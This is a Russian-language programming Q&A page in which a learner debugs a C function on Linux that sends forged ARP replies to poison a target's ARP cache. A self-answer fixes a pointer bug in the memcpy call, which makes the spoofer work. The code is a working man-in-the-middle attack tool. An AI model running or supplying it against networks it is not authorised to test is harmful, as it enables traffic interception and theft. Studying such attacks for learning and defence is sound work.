arp кеш целевого компьютера не обновляется при подмене arp в c на linux - PullRequest
0 голосов
/ 19 сентября 2018

Я пытаюсь сделать простой спуфер arp в c на linux (в основном для лучшего понимания низкоуровневых сетей).Я до сих пор успешно создавал запрос arp и получал ответы arp с mac-адресами цели и шлюза, но всякий раз, когда я отправляю ответы arp адресату / шлюзу, таблица arp на моем тестовом компьютере не обновляется, она все равнопоказывает правильный MAC-адрес шлюза.Это не проблема сети, потому что команда kali linux arpspoof работает правильно, а кэш arp обновляется.

Вот мой код для отправки поддельных пакетов arp:

void arp_spoof(int sock, LOCAL_DATA localData, uint32_t pdst, unsigned char hwdst[6], uint32_t psrc)
{
struct ether_arp arpPacket;

struct sockaddr_ll addr = {0};
addr.sll_family = AF_PACKET;
addr.sll_ifindex = localData.interface_index;
addr.sll_halen = ETHER_ADDR_LEN;
addr.sll_protocol = htons(ETH_P_ARP);
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN);  // destination physical address

// basic info about the arp packet
arpPacket.arp_hrd = htons(ARPHRD_ETHER);
arpPacket.arp_pro = htons(ETH_P_IP);
arpPacket.arp_hln = ETHER_ADDR_LEN;
arpPacket.arp_pln = sizeof(in_addr_t);
arpPacket.arp_op = htons(ARPOP_REPLY);

/*======== Resulting Structure ========

Source MAC : local mac (attacker)
Source IP  : ip of the machine attacker wants
             destination machine to believe is the source

Destination MAC : real destination physical address
Destination IP  : real destination ip address

======================================*/

// Source MAC [REAL]
memcpy(&arpPacket.arp_sha, localData.mac_address, sizeof(arpPacket.arp_sha));

// Source IP [SPOOFED / FAKE]
memcpy(&arpPacket.arp_spa, &psrc, sizeof(arpPacket.arp_spa));

// Destination MAC [REAL]
memcpy(&arpPacket.arp_tha, hwdst, sizeof(arpPacket.arp_tha));

// Destination ip [REAL]
memcpy(&arpPacket.arp_tpa, &pdst, sizeof(arpPacket.arp_tpa));

// sending the packet to the target
if (sendto(sock, &arpPacket, sizeof(arpPacket), 0, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
        printf("Error arp spoofing target: ");
        PrintIpAddress(pdst);
}

1 Ответ

0 голосов
/ 21 сентября 2018

Я допустил глупую ошибку в коде.
В следующей строке:
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN); Я указывал указатель на указатель в качестве параметра &hwdst.Поскольку hdwst уже является массивом параметра, он просто берет указатель на первый элемент.Правильная строка должна быть: memcpy(addr.sll_addr, hwdst, ETHER_ADDR_LEN);

...